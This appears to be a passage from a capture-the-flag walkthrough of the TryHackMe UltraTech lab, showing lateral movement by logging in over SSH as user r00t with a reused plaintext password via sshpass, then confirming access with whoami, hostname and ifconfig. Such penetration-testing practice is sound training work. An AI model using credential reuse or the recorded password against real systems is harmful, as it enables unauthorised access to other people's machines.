UltraTech_Lateral_Movement

r00t

---

Validating the password reuse for the r00t user

┌──(kali㉿kali)-[~/archive/thm/ultratech]
└─$ sshpass -p n100906 ssh r00t@$IP
Welcome to Ubuntu 18.04.2 LTS (GNU/Linux 4.15.0-46-generic x86_64)
 
 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage
 
  System information as of Mon Jul 22 17:22:51 UTC 2024
 
  System load:  0.06               Processes:           107
  Usage of /:   24.4% of 19.56GB   Users logged in:     1
  Memory usage: 76%                IP address for eth0: 10.10.57.71
  Swap usage:   0%
 
 
1 package can be updated.
0 updates are security updates.
 
Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings
 
 
Last login: Mon Jul 22 17:21:12 2024 from 10.9.1.180
r00t@ultratech-prod:~$ whoami
r00t
r00t@ultratech-prod:~$ hostname
ultratech-prod
r00t@ultratech-prod:~$ ifconfig
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 9001
        inet 10.10.57.71  netmask 255.255.0.0  broadcast 10.10.255.255
        inet6 fe80::1c:21ff:feb7:f9bf  prefixlen 64  scopeid 0x20<link>
        ether 02:1c:21:b7:f9:bf  txqueuelen 1000  (Ethernet)
        RX packets 6964  bytes 4407438 (4.4 MB)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 5674  bytes 1052813 (1.0 MB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0
 
lo: flags=73<UP,LOOPBACK,RUNNING>  mtu 65536
        inet 127.0.0.1  netmask 255.0.0.0
        inet6 ::1  prefixlen 128  scopeid 0x10<host>
        loop  txqueuelen 1000  (Local Loopback)
        RX packets 698  bytes 60000 (60.0 KB)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 698  bytes 60000 (60.0 KB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0

Password reuse confirmed Lateral Movement made to the r00t user via SSH